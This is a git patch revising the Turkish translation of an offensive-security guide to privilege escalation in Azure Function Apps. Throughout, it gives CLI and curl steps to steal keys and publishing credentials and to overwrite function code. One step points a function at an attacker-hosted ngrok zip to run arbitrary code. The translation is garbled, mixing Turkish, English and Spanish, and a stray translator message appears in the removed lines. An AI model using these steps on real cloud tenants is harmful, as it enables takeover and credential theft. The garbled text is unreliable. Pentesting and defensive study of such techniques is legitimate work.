From e9c45f6f2c85114c14042bf61e4eb93ad67b80c0 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 16 Jun 2026 13:15:53 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-functions-app-privesc.md | 149 ++++++++++-------- 1 file changed, 85 insertions(+), 64 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index c25186dd7..700d58bc8 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -4,7 +4,7 @@ ## Function Apps -Daha fazla bilgi için aşağıdaki sayfayı inceleyin: +Daha fazla bilgi için aşağıdaki sayfayı kontrol edin: {{#ref}} ../az-services/az-function-apps.md @@ -12,26 +12,26 @@ Daha fazla bilgi için aşağıdaki sayfayı inceleyin: ### Bucket Read/Write -Fonksiyon verilerini depolayan Storage Account içindeki container'ları okuma izinleriniz varsa, **farklı container'lar** (özel veya ön tanımlı isimlerle) bulabilirsiniz; bunlar **fonksiyon tarafından çalıştırılan kodu** içerebilir. +Function verisini saklayan Storage Account içindeki container'ları okuma yetkileriyle, **farklı container'lar** (custom veya önceden tanımlı adlarla) bulmak mümkündür; bunlar **function tarafından yürütülen code**'u içerebilir. -Fonksiyonun kodunun nerede bulunduğunu bulduğunuzda ve üzerinde yazma izniniz varsa, fonksiyonun herhangi bir kodu çalıştırmasını sağlayabilir ve fonksiyona bağlı managed identities'in ayrıcalıklarını yükseltebilirsiniz. +Function code'unun nerede bulunduğunu bulduktan sonra, üzerinde write yetkiniz varsa function'ı herhangi bir code çalıştıracak şekilde yapabilir ve Function'a bağlı managed identities üzerinden privilege escalation yapabilirsiniz. -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE)` -Fonksiyonun kodu genellikle bir file share içinde depolanır. Yeterli erişimle kod dosyasını değiştirmek ve **fonksiyonun rastgele kod yüklemesini sağlamak** mümkün olup bu, Function'a bağlı managed identities'in ayrıcalıklarını yükseltmeye olanak tanır. +Function code'u genellikle bir file share içinde saklanır. Yeterli access ile code dosyasını değiştirip **function'ın arbitrary code yüklemesini sağlamak** mümkündür; bu da Function'a bağlı managed identities üzerinden privilege escalation yapılmasına izin verir. -This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from +Bu deployment yöntemi genellikle **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** ve **`WEBSITE_CONTENTSHARE`** ayarlarını yapılandırır; bunları şuradan elde edebilirsiniz: ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Bu konfigürasyonlar, Function'ın koda erişmek için kullanabileceği **Storage Account Key**'i içerecektir. +Bu config'ler, Function'un code'a erişmek için kullanabileceği **Storage Account Key**'i içerir. > [!CAUTION] -> File Share'a bağlanmak ve çalışan **modify the script** üzerinde değişiklik yapma yetkisine sahip olunması durumunda Function içinde execute arbitrary code gerçekleştirmek ve escalate privileges mümkün olabilir. +> File Share'e bağlanmak ve çalışan **script**'i **modify** etmek için yeterli permission ile, Function içinde arbitrary code execute etmek ve privileges escalate etmek mümkündür. -Aşağıdaki örnek, file share'a bağlanmak için macOS kullanmaktadır; ancak file share'ler hakkında daha fazla bilgi için şu sayfayı da incelemeniz önerilir: +Aşağıdaki example, file share'e bağlanmak için macOS kullanır, ancak file shares hakkında daha fazla info için şu page'i de kontrol etmeniz önerilir: {{#ref}} ../az-services/az-file-shares.md @@ -47,26 +47,26 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -Ayrıca, function app'in kullandığı Storage Account konteynerindeki `function-releases` klasörü içinde **zip sürümlerini** bulmak da yaygındır; konteyner genellikle **`function-releases`** olarak adlandırılır. +Ayrıca, function app’in bir container içinde kullandığı Storage Account container’ının `function-releases` klasörü içinde **zip releases** bulmak da yaygındır; bu container **genellikle `function-releases` olarak adlandırılır**. -Genellikle bu dağıtım yöntemi `WEBSITE_RUN_FROM_PACKAGE` konfigürasyonunu şu yerde ayarlar: +Genellikle bu deployment yöntemi, `WEBSITE_RUN_FROM_PACKAGE` config’ini şurada ayarlar: ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -This config will usually contain a **SAS URL to download** the code from the Storage Account. +Bu config genellikle code’u Storage Account’tan indirmek için bir **SAS URL** içerir. > [!CAUTION] -> Yeterli izinle, **contains the code in zip** içeren blob container'a bağlanılarak Function içinde arbitrary code çalıştırmak ve ayrıcalıkları yükseltmek mümkündür. +> **code in zip** içeren blob container’a bağlanmak için yeterli permission ile Function içinde arbitrary code execute etmek ve privileges escalate etmek mümkündür. - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`) -Önceki durumda olduğu gibi, dağıtım Github Actions ile yapıldıysa Storage Account içinde kodun bir zip'ini içeren **`github-actions-deploy`** klasörünü ve zip için `WEBSITE_RUN_FROM_PACKAGE` ayarında bulunan bir SAS URL'sini bulmak mümkündür. +Önceki case’de olduğu gibi, deployment Github Actions üzerinden yapılıyorsa Storage Account içinde code’un bir zip’ini ve `WEBSITE_RUN_FROM_PACKAGE` setting’inde zip’e ait bir SAS URL’yi içeren **`github-actions-deploy`** folder’ını bulmak mümkündür. -- **`scm-releases`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE`) +- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`) -Function verilerini saklayan Storage Account içindeki container'ları okuma iznine sahip olunduğunda **`scm-releases`** container'ını bulmak mümkündür. Orada en son release'in **Squashfs filesystem file format** halinde olduğu bulunabilir ve dolayısıyla Function'ın kodunu okumak mümkün olur: +Function data’sını saklayan Storage Account içindeki containers’ı read etme permission’ları ile **`scm-releases`** container’ını bulmak mümkündür. Orada en son release’i **Squashfs filesystem file format** içinde bulmak mümkündür ve bu nedenle function’ın code’unu read etmek mümkündür: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -Ayrıca storage account içinde, container'daki **`azure-webjobs-secrets`** altında yer alan **``** klasöründeki JSON dosyalarında **master ve functions anahtarlarını** bulmak da mümkündür. +Ayrıca, depolama hesabında, **`azure-webjobs-secrets`** konteyneri içinde, **``** klasörünün içinde yer alan JSON dosyalarında saklanan **master ve functions keys**'i bulmak da mümkündür. > [!CAUTION] -> Kodun bir **zip extension file** içinde bulunduğu blob container'a bağlanmak için yeterli izin varsa (aslında bir **`squashfs`**), Function içinde keyfi kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür. +> **code in a zip extension file** içeren blob konteynerine bağlanmak için yeterli izne sahip olmakla (bu aslında bir **`squashfs`**) Function içinde arbitrary code execute etmek ve privileges escalate etmek mümkündür. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -118,11 +118,11 @@ az storage blob upload \ ``` ### `Microsoft.Web/sites/host/listkeys/action` -Bu izin, belirtilen function için function, master ve system anahtarlarını (host olanı hariç) listelemeye izin verir: +Bu izin, belirtilen function için function, master ve system keys değerlerini listelemeye izin verir, ancak host key için izin vermez: ```bash az functionapp keys list --resource-group --name ``` -master key ile ayrıca şu gibi bir URL'den kaynak kodunu almak da mümkündür: +Master key ile, aşağıdaki gibi bir URL'de source code elde etmek de mümkündür: ```bash # Get "script_href" from az rest --method GET \ @@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # JavaScript function app example curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v ``` -Ve fonksiyonda **çalıştırılan kodu değiştirmek** için: +Ve fonksiyonda yürütülen kodu **değiştirmek** için: ```bash # Set the code to set in the function in /tmp/function_app.py ## Python function app example @@ -154,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot ``` ### `Microsoft.Web/sites/functions/listKeys/action` -Bu izin, belirtilen fonksiyonun varsayılan anahtarını şu şekilde almayı sağlar: +Bu izin, belirtilen function için default key'i almak için şuna izin verir: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` -Elde edilen varsayılan anahtarı kullanarak fonksiyonu çağırın: +Fonksiyonu varsayılan elde edilen key ile çağırın: ```bash curl "https://.azurewebsites.net/api/?code=" ``` ### `Microsoft.Web/sites/host/functionKeys/write` -Bu izin, belirtilen function için bir function key oluşturma/güncelleme yapmaya izin verir: +Bu izin, belirtilen function için bir function key oluşturma/güncelleme izni verir: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` ### `Microsoft.Web/sites/host/masterKey/write` -Bu izin, belirtilen function için bir master key oluşturmayı veya güncellemeyi sağlar: +Bu izin, belirtilen function için bir master key oluşturmanıza/güncellemenize izin verir: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` > [!CAUTION] -> Bu anahtar ile daha önce açıklandığı gibi kaynak koda da erişebileceğinizi ve onu değiştirebileceğinizi unutmayın! +> Unutmayın ki bu key ile source code'a da erişebilir ve daha önce açıklandığı gibi onu modify edebilirsiniz! ### `Microsoft.Web/sites/host/systemKeys/write` -Bu izin, belirtilen fonksiyon için bir system function key oluşturulmasına/güncellenmesine izin verir: +Bu permission, belirtilen function için bir system function key oluşturmayı/update etmeyi şu şekilde sağlar: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -Çeviriye başlamam için lütfen "Use the key:" sonrası gelen anahtarı veya çevirmemi istediğiniz src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md dosya içeriğini yapıştırın. İçerik olmadan işlem yapamam. +Anahtar kullanın: ```bash # Ejemplo: Acceso a endpoints de Durable Functions curl "https://.azurewebsites.net/runtime/webhooks/durabletask/instances?code=" @@ -193,28 +193,28 @@ curl "https://.azurewebsites.net/runtime/webhooks/eventgrid?code= --resource-group ``` -Ayrıca, bu izin (etkinse) **SCM username and password**'i şu komutla almayı sağlar: +Ayrıca, bu izin **SCM username ve password**'ü de (etkinse) şu şekilde almayı sağlar: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Bu izinler, daha önce gördüğümüz gibi bir fonksiyonun yapılandırma değerlerini listelemeyi ve ayrıca **bu değerleri değiştirmeyi** sağlar. Bu, fonksiyon içinde çalıştırılacak kodun nerede bulunduğunu gösterdiği için kullanışlıdır. +Bu permissions, daha önce gördüğümüz gibi bir function’ın config values değerlerini listelemeye ve ayrıca **bu değerleri modify etmeye** izin verir. Bu kullanışlıdır çünkü bu settings, function içinde çalıştırılacak code’un nerede bulunduğunu gösterir. -Bu nedenle, web uygulaması içinde çalıştırılacak yeni kodu içeren bir zip dosyasına işaret eden **`WEBSITE_RUN_FROM_PACKAGE`** ayarının değerini ayarlamak mümkündür: +Bu yüzden, bir web application içinde çalıştırılacak yeni code’u içeren bir URL zip file’ına işaret edecek şekilde **`WEBSITE_RUN_FROM_PACKAGE`** setting değerini ayarlamak mümkündür: -- Önce mevcut config'i alın +- Start by getting the current config ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -- Fonksiyonun çalıştırmasını istediğiniz kodu oluşturun ve bunu herkese açık olarak barındırın. +- Fonksiyonun çalıştırmasını istediğin code’u oluştur ve onu publicly host et ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -224,9 +224,9 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` -- Fonksiyonu değiştirin, önceki parametreleri koruyun ve sonuna kodu içeren **zip**'e işaret eden URL'yi gösteren **`WEBSITE_RUN_FROM_PACKAGE`** ayarını ekleyin. +- Fonksiyonu modify et, önceki parameters'ları koru ve en sona config **`WEBSITE_RUN_FROM_PACKAGE`** ekle; bu config **zip** içeren code’un URL’sini işaret etsin. -Aşağıda benim **kendi ayarlarıma ait bir örnek (değerleri kendi ortamınıza göre değiştirmeniz gerekecek)** yer almaktadır; sondaki `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` değerine dikkat edin — uygulamayı burada barındırıyordum. +Aşağıda benim **own settings** için bir example var; değerleri kendi değerlerinle change etmen gerekecek, sonda yer alan `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` kısmına dikkat et, ben app’i burada host ediyordum. ```bash # Modify the function az rest --method PUT \ @@ -236,7 +236,7 @@ az rest --method PUT \ ``` ### `Microsoft.Web/sites/hostruntime/vfs/write` -Bu izin ile web konsolu üzerinden (veya aşağıdaki API endpoint aracılığıyla) bir uygulamanın kodunu **değiştirmek mümkündür**: +Bu izinle, web konsolu (veya aşağıdaki API endpoint) aracılığıyla bir uygulamanın kodunu **değiştirmek mümkündür**: ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -266,7 +266,7 @@ body: responseMessage ``` ### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) -Bu izin, temelde **basic auth credentials** içeren tüm publishing profiles'i listelemeye olanak tanır: +Bu izin, aslında **basic auth kimlik bilgilerini** içeren tüm publishing profile'ları listelemeye izin verir: ```bash # Get creds az functionapp deployment list-publishing-profiles \ @@ -274,7 +274,7 @@ az functionapp deployment list-publishing-profiles \ --resource-group \ --output json ``` -Bir diğer seçenek kendi creds'inizi ayarlamak ve bunları kullanmak olacaktır: +Başka bir seçenek, kendi creds bilgilerinizi ayarlayıp şunu kullanarak onları kullanmak olurdu: ```bash az functionapp deployment user set \ --user-name DeployUser123456 g \ @@ -282,7 +282,7 @@ az functionapp deployment user set \ ``` - Eğer **REDACTED** kimlik bilgileri -Eğer bu kimlik bilgilerinin **REDACTED** olduğunu görüyorsanız, bunun nedeni **SCM basic authentication option'ı etkinleştirmeniz gerektiğidir** ve bunun için ikinci izne (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ihtiyacınız vardır. +Eğer bu kimlik bilgilerinin **REDACTED** olduğunu görürsen, bunun nedeni **SCM basic authentication seçeneğini etkinleştirmen gerekmesi** ve bunun için ikinci izne (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`) ihtiyaç duyman olacaktır. ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -304,26 +304,47 @@ az rest --method PUT \ ``` - **Method SCM** -Ardından, bu **basic auth credentials to the SCM URL** ile function app'inizin SCM URL'sine erişebilir ve env variables değerlerini alabilirsiniz: +Ardından, function app’in **SCM URL**’ine bu **basic auth credentials** ile erişebilir ve env değişkenlerinin değerlerini alabilirsiniz: ```bash # Get settings values curl -u ':' \ https://.scm.azurewebsites.net/api/settings -v -# Deploy code to the funciton -zip function_app.zip function_app.py # Your code in function_app.py -curl -u ':' -X POST --data-binary "@" \ -https://.scm.azurewebsites.net/api/zipdeploy ``` -_Not: **SCM kullanıcı adı** genellikle "$" karakteri ile başlayıp uygulama adıyla devam eder, yani: `$`._ +Yeni function code indirebilir, modify edebilir ve upload edebilirsiniz : +```bash +# download +curl -u ':' -X GET \ +https://.scm.azurewebsites.net/api/zip/site/wwwroot/ \ +-o current_function_code.zip -Bu web sayfasına ayrıca şu adresten de erişebilirsiniz: `https://.scm.azurewebsites.net/BasicAuth` +unzip current_function_code.zip -d updated_code/ +cd updated_code/ +#... modify the function code +zip -r ../updated_function_app.zip . +cd ../ -Ayar değerleri, function app'in verilerini depolayan storage account'un **AccountKey**'ini içerir; bu da o storage account'u kontrol etmenize olanak tanır. +# upload +curl -u ':' https://.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v +``` +Hatta belirli bir dosya yükleyebilirsiniz : +```bash +curl -u ':' \ +-X PUT \ +-H "Content-Type: application/javascript" \ +-H "If-Match: *" \ +--data-binary "@./my_local_payload.js" \ +"https://.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file +``` +_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$`._ -- **Yöntem FTP** +Ayrıca web sayfasına `https://.scm.azurewebsites.net/BasicAuth` adresinden erişebilirsiniz -FTP sunucusuna şu şekilde bağlanın: +Ayar değerleri, function app verilerini saklayan storage account’un **AccountKey** değerini içerir ve bu storage account’u kontrol etmeye izin verir. + +- **Method FTP** + +Aşağıdakini kullanarak FTP server’a bağlanın: ```bash # macOS install lftp brew install lftp @@ -341,15 +362,15 @@ _Not: **FTP username** genellikle \\\$\ formatındadır._ ### `Microsoft.Web/sites/hostruntime/vfs/read` -Bu izin, uygulamanın kaynak kodunu VFS aracılığıyla **okumaya** izin verir: +Bu izin, app’in kaynak kodunu VFS üzerinden **okumaya** izin verir: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` ### `Microsoft.Web/sites/functions/token/action` -Bu izinle [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) alınabilir; bu token daha sonra **master key**'i elde etmek için kullanılabilir ve dolayısıyla function'ın koduna erişip onu değiştirmek mümkün olur. +Bu izinle, daha sonra **master key**'i almak ve böylece function'ın code'unu erişmek ve modify etmek için kullanılabilecek **admin token**'ı [almak](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) mümkündür. -Ancak, son kontrollerimde herhangi bir token dönmedi, bu yüzden devre dışı bırakılmış veya artık çalışmıyor olabilir; ama işte nasıl yapacağınız: +However, in my lasts checks no token was returned, so it might be disabled or not working anymore, but here is how you would do it: ```bash # Get admin token az rest --method GET \ @@ -361,7 +382,7 @@ curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ ``` ### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) -Bu izin, devre dışı bırakılmış olabilecek **fonksiyonları etkinleştirmeye** (veya devre dışı bırakmaya) olanak tanır. +Bu izinler, devre dışı bırakılmış olabilecek **functions**’ları etkinleştirmeye (veya devre dışı bırakmaya) izin verir. ```bash # Enable a disabled function az functionapp config appsettings set \ @@ -369,13 +390,13 @@ az functionapp config appsettings set \ --resource-group \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -Aşağıdaki URL'de bir function'ın etkinleştirildiği veya devre dışı bırakıldığı da görülebilir (parantez içindeki izin kullanılarak): +Aşağıdaki URL’de bir function’ın enabled mı disabled mı olduğunu da görebilirsiniz (parantez içindeki permission’ı kullanarak): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Bu izinlerle container çalıştıracak şekilde yapılandırılmış bir function app tarafından çalıştırılan container'ı **bir function app tarafından çalıştırılan container'ı değiştirmek** mümkün. Bu, bir saldırganın kötü amaçlı bir azure function container app'i (örneğin docker hub'a) yüklemesine ve function'ın bunu çalıştırmasını sağlamasına izin verir. +Bu izinlerle, bir container çalıştıracak şekilde yapılandırılmış bir function app tarafından çalıştırılan container'ı **modify** etmek mümkündür. Bu, bir saldırganın docker hub'a (örneğin) malicious bir azure function container app yüklemesine ve function'ın bunu execute etmesini sağlamasına izin verir. ```bash az functionapp config container set --name \ --resource-group \ @@ -383,29 +404,29 @@ az functionapp config container set --name \ ``` ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Bu izinlerle bir function'a **attach a new user managed identity** yapmak mümkün. Eğer function ele geçirilmişse, bu herhangi bir user managed identity'ye **escalate privileges** yapılmasına olanak tanır. +Bu permissions ile bir function'a **yeni bir user managed identity attach etmek** mümkündür. Function compromise edilmişse, bu herhangi bir user managed identity'ye privilege escalation yapılmasına izin verir. ```bash az functionapp identity assign \ --name \ --resource-group \ --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` -### Uzaktan Hata Ayıklama +### Remote Debugging -Çalışan bir Azure Function'a bağlanıp hata ayıklamak da mümkündür, [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ancak varsayılan olarak, geliştiricinin unutması durumunda savunmasız yapılandırmaları açık bırakmamak için Azure bu seçeneği 2 gün içinde kapalı duruma getirecektir. +Çalışan bir Azure function'ı debug etmek için bağlanmak da mümkündür; [**docs'ta açıklandığı**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs) gibi. Ancak, default olarak Azure bu seçeneği 2 gün sonra off yapar; böylece developer güvenlik açıklarına yol açabilecek config'leri bırakmayı unutursa önlenmiş olur. -Bir Function'un hata ayıklamanın etkin olup olmadığını şu komutla kontrol etmek mümkündür: +Bir Function'da debugging'in enabled olup olmadığını şu şekilde kontrol etmek mümkündür: ```bash az functionapp show --name --resource-group ``` -`Microsoft.Web/sites/config/write` iznine sahip olmak, bir function'ı hata ayıklama moduna geçirmek için de mümkündür (aşağıdaki komut ayrıca `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` ve `Microsoft.Web/sites/Read` izinlerini de gerektirir). +`Microsoft.Web/sites/config/write` izniyle, bir function'ı debugging moduna almak da mümkündür (aşağıdaki komut ayrıca `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` ve `Microsoft.Web/sites/Read` izinlerini gerektirir). ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` -### Github repo'yu değiştir +### Github repo değiştir -Dağıtımın gerçekleştiği Github repo'yu aşağıdaki komutları çalıştırarak değiştirmeyi denedim fakat değişse bile **yeni kod yüklenmedi** (muhtemelen kodu güncellemesi için Github Action'ı beklediği için).\ -Ayrıca, **managed identity federated credential wasn't updated**, yeni repository'ye izin vermediği için bunun çok kullanışlı olmadığı görünüyor. +Deploy işleminin gerçekleştiği Github repo’sunu aşağıdaki komutları çalıştırarak değiştirmeyi denedim, ancak değişmiş olsa bile, **yeni code yüklenmedi** (muhtemelen Github Action’ın code’u güncellemesini beklediği için).\ +Ayrıca, **managed identity federated credential** yeni repository’yi allow edecek şekilde güncellenmedi, bu yüzden bunun çok da useful olmadığı görülüyor. ```bash # Remove current az functionapp deployment source delete \